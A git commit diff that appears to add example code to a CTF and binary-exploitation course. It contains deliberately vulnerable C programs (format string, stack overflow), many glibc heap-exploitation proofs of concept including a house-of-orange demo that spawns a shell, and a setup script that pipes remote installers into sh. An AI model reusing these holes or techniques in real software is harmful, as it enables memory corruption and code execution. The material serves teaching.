This commit is contained in:
firmianay
2018-04-29 22:21:55 +08:00
parent 033944eb84
commit f6656821eb
135 changed files with 438 additions and 466 deletions

View File

@ -0,0 +1,27 @@
#include <stdio.h>
#include <unistd.h>
void main() {
void *curr_brk, *tmp_brk, *pre_brk;
printf("当前进程 PID%d\n", getpid());
tmp_brk = curr_brk = sbrk(0);
printf("初始化后的结束地址:%p\n", curr_brk);
getchar();
brk(curr_brk+4096);
curr_brk = sbrk(0);
printf("brk 之后的结束地址:%p\n", curr_brk);
getchar();
pre_brk = sbrk(4096);
curr_brk = sbrk(0);
printf("sbrk 返回值(即之前的结束地址):%p\n", pre_brk);
printf("sbrk 之后的结束地址:%p\n", curr_brk);
getchar();
brk(tmp_brk);
curr_brk = sbrk(0);
printf("恢复到初始化时的结束地址:%p\n", curr_brk);
getchar();
}

View File

@ -0,0 +1,19 @@
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
void main() {
void *curr_brk;
printf("当前进程 PID%d\n", getpid());
printf("初始化后\n");
getchar();
char *addr;
addr = mmap(NULL, (size_t)4096, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
printf("mmap 完成\n");
getchar();
munmap(addr, (size_t)4096);
printf("munmap 完成\n");
getchar();
}

View File

@ -0,0 +1,11 @@
#include<stdio.h>
int add(int a, int b) {
int x = a, y = b;
return (x + y);
}
int main() {
int a = 1, b = 2;
printf("%d\n", add(a, b));
return 0;
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,14 @@
CONFIG_DEBUG_INFO=y
CONFIG_DEBUG_INFO_REDUCED=n
CONFIG_GDB_SCRIPTS=y
CONFIG_STRICT_KERNEL_RWX=n
CONFIG_FRAME_POINTER=y
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y
CONFIG_KGDB_KDB=y
CONFIG_KDB_KEYBOARD=y
CONFIG_RANDOMIZE_BASE=n
CONFIG_RANDOMIZE_MEMORY=n

View File

@ -0,0 +1,19 @@
.data
msg:
.ascii "hello 32-bit!\n"
len = . - msg
.text
.global _start
_start:
movl $len, %edx
movl $msg, %ecx
movl $1, %ebx
movl $4, %eax
int $0x80
movl $0, %ebx
movl $1, %eax
int $0x80

View File

@ -0,0 +1,19 @@
.data
msg:
.ascii "Hello 64-bit!\n"
len = . - msg
.text
.global _start
_start:
movq $1, %rdi
movq $msg, %rsi
movq $len, %rdx
movq $1, %rax
syscall
xorq %rdi, %rdi
movq $60, %rax
syscall

View File

@ -0,0 +1,126 @@
#!/bin/bash
# usage: ./2.1_pwn_env.sh [func1[ func2[ func3...]]]
# tested for debian wheezy on armhf
# from Icemakr
function check_result() {
if [ $? -ne 0 ]
then
res="\033[32m[-]failed to "$1"\033[0m"
echo -e $res
else
res="\033[33m[+]successfully "$1"\033[0m"
echo -e $res
fi
}
############################# install ################################
######################################################################
######################################################################
# install vim, git, gcc, python
function init {
#sudo apt-get update
#check_result "update apt"
sudo apt-get install git gcc
sudo apt-get install python-dev python-pip
check_result "install python"
sudo apt-get install python3 python3-pip
check_result "install python3"
sudo apt-get install zsh
check_result "install zsh"
}
# set up oh-my-zsh
function oh-my-zsh {
sh -c "$(wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)" && sudo chsh -s /bin/zsh
check_result "install oh-my-zsh"
}
# set up vim
function vim {
echo -e "set encoding=utf-8\nset fileencoding=utf-8\nset fileencodings=ucs-bom,utf-8,chinese,cp936\nset guifont=Consolas:h15\nlanguage messages zh_CN.utf-8\nset number\nset autoindent\nset smartindent\nset tabstop=4\nset autochdir\nset shiftwidth=4\nset foldmethod=manual\nsyntax enable\nset nocompatible\nset nobackup\ninoremap jk <ESC>" > ~/.vimrc && sudo apt-get install vim
check_result "vim"
}
# install pwn
function pwn {
sudo apt-get install gdb
check_result "install gdb"
sudo pip install zio
check_result "install zio"
sudo pip install pwntools
check_result "install pwntools"
sudo apt-get install socat
check_result "install socat"
}
# install capstone
function capstone {
sudo pip install capstone
sudo pip3 install capstone
check_result "install capstone-engine"
}
# install keystone ---gcc-4.8&&g++-4.8 is OK and gcc-4.6||g++-4.6 is awful:(
function keystone {
sudo apt-get install cmake
check_result "install CMake for keystone-engine"
git clone https://github.com/keystone-engine/keystone.git
# if failed when compiling , after meeting with all the dependency , it's best to remove the project and git clone it again to compile
mkdir -p keystone/build
cd keystone/build && ../make-share.sh && sudo make install && sudo ldconfig && cd ../bindings/python && sudo make install && sudo make install3
check_result "install keystone-engine"
cd ../../..
}
# install unicorn
function unicorn {
sudo apt-get install libglib2.0-dev
check_result "install libglib2.0-dev for unicorn-engine"
git clone https://github.com/unicorn-engine/unicorn.git
# if failed when compiling , after meeting with all the dependency , it's best to remove the project and git clone it again to compile
cd unicorn && ./make.sh gcc && sudo ./make.sh install && cd bindings/python && sudo make install && sudo make install3
check_result "install unicorn-engine"
cd ../../..
}
# install ROPGadget
function ROPGadget {
sudo pip install ropgadget
sudo pip3 install ropgadget
}
# install gef
function gef {
wget -q -O- https://github.com/hugsy/gef/raw/master/gef.sh | sh
check_result "install gef"
}
# setup checksec
function checksec {
sudo wget https://github.com/slimm609/checksec.sh/raw/master/checksec -O /usr/local/bin/checksec && chmod +x /usr/local/bin/checksec
check_result "install checksec"
}
if [ -z $1 ]
then
init
pwn
capstone
keystone
unicorn
ROPGadget
gef
checksec
else
for i in $@
do
$i
done
fi

View File

@ -0,0 +1,30 @@
#!/usr/bin/env bash
V = 2.29 # binutils version
ARCH = arm # target architecture
cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.xz
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.xz.sig
# gpg --keyserver keys.gnupg.net --recv-keys C3126D3B4AE55E93
# gpg --verify binutils-$V.tar.xz.sig
tar xf binutils-$V.tar.xz
mkdir binutils-build
cd binutils-build
export AR=ar
export AS=as
../binutils-$V/configure \
--prefix=/usr/local \
--target=$ARCH-unknown-linux-gnu \
--disable-static \
--disable-multilib \
--disable-werror \
--disable-nls
make
sudo make install

Binary file not shown.

View File

@ -0,0 +1,10 @@
#include<stdio.h>
void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}

View File

@ -0,0 +1,9 @@
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}

View File

@ -0,0 +1,20 @@
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc, char *argv[]) {
if(argc != 2) {
printf("error\n");
return 0;
}
validate_passwd(argv[1]);
}

View File

@ -0,0 +1,18 @@
#include<stdio.h>
void main() {
int l;
short s;
char c;
l = 0xabcddcba;
s = l;
c = l;
printf("宽度溢出\n");
printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8);
printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8);
printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8);
printf("整型提升\n");
printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) * 8);
}

Binary file not shown.

View File

@ -0,0 +1,8 @@
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
CFLAGS += -std=c99 -g
# CFLAGS += -fsanitize=address
all: $(PROGRAMS)
clean:
rm -f $(PROGRAMS)

View File

@ -0,0 +1,34 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 3 buffers.\n");
char *d = malloc(9);
char *e = malloc(9);
char *f = malloc(9);
strcpy(d, "DDDDDDDD");
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}

View File

@ -0,0 +1,29 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int main() {
void *p1 = malloc(0x10);
void *p2 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void *p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
void *p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void *p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}

View File

@ -0,0 +1,38 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
unsigned long long stack_var = 0x21;
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 4 buffers.\n");
unsigned long long *d = malloc(9);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
char *e = malloc(9);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
char *f = malloc(9);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
char *g = malloc(9);
strcpy(g, "GGGGGGGG");
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}

View File

@ -0,0 +1,24 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* a = malloc(512);
char* b = malloc(256);
char* c;
fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
strcpy(c, "CCCCCCCC");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
}

View File

@ -0,0 +1,54 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main() {
uint8_t *a, *b, *d;
a = (uint8_t*) malloc(0x10);
int real_a_size = malloc_usable_size(a);
memset(a, 'A', real_a_size);
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
size_t fake_chunk[6];
fake_chunk[0] = 0x80;
fake_chunk[1] = 0x80;
fake_chunk[2] = (size_t) fake_chunk;
fake_chunk[3] = (size_t) fake_chunk;
fake_chunk[4] = (size_t) fake_chunk;
fake_chunk[5] = (size_t) fake_chunk;
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
fake_chunk[1] = fake_size;
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
free(b);
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
d = malloc(0x10);
memset(d, 'A', 0x10);
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
}

View File

@ -0,0 +1,39 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main() {
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
intptr_t *p1 = malloc(0x10);
int real_size = malloc_usable_size(p1);
memset(p1, 'A', real_size);
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
int real_size_new = malloc_usable_size(new_ptr);
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
void* ctr_chunk = malloc(0x30);
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
fprintf(stderr, "old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "new string: %s\n", bss_var);
}

View File

@ -0,0 +1,47 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main() {
intptr_t *victim = malloc(0x80);
memset(victim, 'A', 0x80);
void *p5 = malloc(0x10);
memset(p5, 'A', 0x10);
intptr_t *victim_chunk = victim - 2;
fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
stack_buffer_1[0] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
free((void*)victim);
fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
void *p2 = malloc(0x100);
fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
void *p3 = malloc(0x40);
char *p4 = malloc(0x80);
memset(p4, 'A', 0x10);
fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
}

View File

@ -0,0 +1,40 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner (char *ptr);
int main() {
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400 - 0x10);
top = (size_t *) ((char *) p1 + 0x400 - 0x10);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
memcpy((char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
malloc(1);
return 0;
}
int winner(char *ptr) {
system(ptr);
return 0;
}

View File

@ -0,0 +1,30 @@
#include <stdio.h>
#include <stdlib.h>
int main() {
malloc(1);
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
fake_chunks[1] = 0x20; // the size
fake_chunks[5] = 0x1234; // nextsize
fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[6] = 0x4141414141414141LL;
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
b = malloc(0x10);
fprintf(stderr, "malloc(0x10): %p\n", b);
b[0] = 0x4242424242424242LL;
}

View File

@ -0,0 +1,39 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main() {
intptr_t *p1,*p2,*p3,*p4;
p1 = malloc(0x90 - 8);
p2 = malloc(0x90 - 8);
p3 = malloc(0x80 - 8);
memset(p1, 'A', 0x90 - 8);
memset(p2, 'A', 0x90 - 8);
memset(p3, 'A', 0x80 - 8);
fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);
free(p2);
fprintf(stderr, "Freeing the chunk p2\n");
int evil_chunk_size = 0x111;
int evil_region_size = 0x110 - 8;
*(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");
p4 = malloc(evil_region_size);
fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);
fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
memset(p4, 'B', 0xd0);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
memset(p3, 'C', 0x50);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

View File

@ -0,0 +1,50 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main() {
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
p1 = malloc(0x10);
p2 = malloc(0x80);
p3 = malloc(0x80);
p4 = malloc(0x80);
p5 = malloc(0x10);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
memset(p1, 'A', real_size_p1);
memset(p2, 'A', real_size_p2);
memset(p3, 'A', real_size_p3);
memset(p4, 'A', real_size_p4);
memset(p5, 'A', real_size_p5);
fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
free(p4);
fprintf(stderr, "\nLet's free the chunk p4\n\n");
fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE
free(p2);
p6 = malloc(0x1b0 - 0x10);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
fprintf(stderr, "p3 before = %s\n", (char *)p3);
memset(p6, 'B', 0xd0);
fprintf(stderr, "p3 after = %s\n", (char *)p3);
}

View File

@ -0,0 +1,68 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main() {
uint8_t *a, *b, *c, *b1, *b2, *d;
a = (uint8_t*) malloc(0x10);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
b = (uint8_t*) malloc(0x100);
c = (uint8_t*) malloc(0x80);
fprintf(stderr, "b: %p\n", b);
fprintf(stderr, "c: %p\n", c);
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
*(size_t*)(b+0xf0) = 0x100;
fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
// deal with tcache
// int *k[10], i;
// for (i = 0; i < 7; i++) {
// k[i] = malloc(0x100);
// }
// for (i = 0; i < 7; i++) {
// free(k[i]);
// }
free(b);
uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x80);
memset(b1, 'A', 0x80);
fprintf(stderr, "We malloc 'b1': %p\n", b1);
fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
b2 = malloc(0x40);
memset(b2, 'A', 0x40);
fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
// deal with tcache
// for (i = 0; i < 7; i++) {
// k[i] = malloc(0x80);
// }
// for (i = 0; i < 7; i++) {
// free(k[i]);
// }
free(b1);
free(c);
fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
d = malloc(0x110);
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
fprintf(stderr, "b2 content:%s\n", b2);
memset(d, 'B', 0xb0);
fprintf(stderr, "New b2 content:%s\n", b2);
}

View File

@ -0,0 +1,28 @@
#include <stdio.h>
#include <stdlib.h>
int main() {
int i;
void *p = malloc(0x40);
fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
fprintf(stderr, "Then free(p) 7 times\n");
for (i = 0; i < 7; i++) {
fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
free(p);
}
fprintf(stderr, "Then malloc 8 times at the same address\n");
int *a[10];
for (i = 0; i < 8; i++) {
a[i] = malloc(0x40);
fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
}
fprintf(stderr, "Finally trigger double-free\n");
for (i = 0; i < 2; i++) {
fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
free(a[i]);
}
}

View File

@ -0,0 +1,47 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
int malloc_size = 0x80; // not fastbins
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
// pass this check: (P->fd->bk != P || P->bk->fd != P) == False
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
// chunk0_ptr[1] = 0x0; // or 0x8, 0x80
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
// deal with tcache
// int *a[10];
// int i;
// for (i = 0; i < 7; i++) {
// a[i] = malloc(0x80);
// }
// for (i = 0; i < 7; i++) {
// free(a[i]);
// }
free(chunk1_ptr);
char victim_string[9];
strcpy(victim_string, "AAAAAAAA");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %s\n", victim_string);
}

View File

@ -0,0 +1,20 @@
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_var = 0;
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
unsigned long *p = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
free(p);
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
p[1] = (unsigned long)(&stack_var - 2);
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
malloc(0x80);
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
}

View File

@ -0,0 +1,6 @@
PROGRAMS = tcache_poisoning tcache_overlapping_chunks tcache_house_of_spirit tcache_dup
CFLAGS += -Wpedantic -std=gnu11 -g
all: $(PROGRAMS)
clean:
rm -f $(PROGRAMS)

View File

@ -0,0 +1,13 @@
#include <stdlib.h>
#include <stdio.h>
int main() {
void *p1 = malloc(0x10);
fprintf(stderr, "1st malloc(0x10): %p\n", p1);
fprintf(stderr, "Freeing the first one\n");
free(p1);
fprintf(stderr, "Freeing the first one again\n");
free(p1);
fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
}

View File

@ -0,0 +1,27 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
malloc(1); // init heap
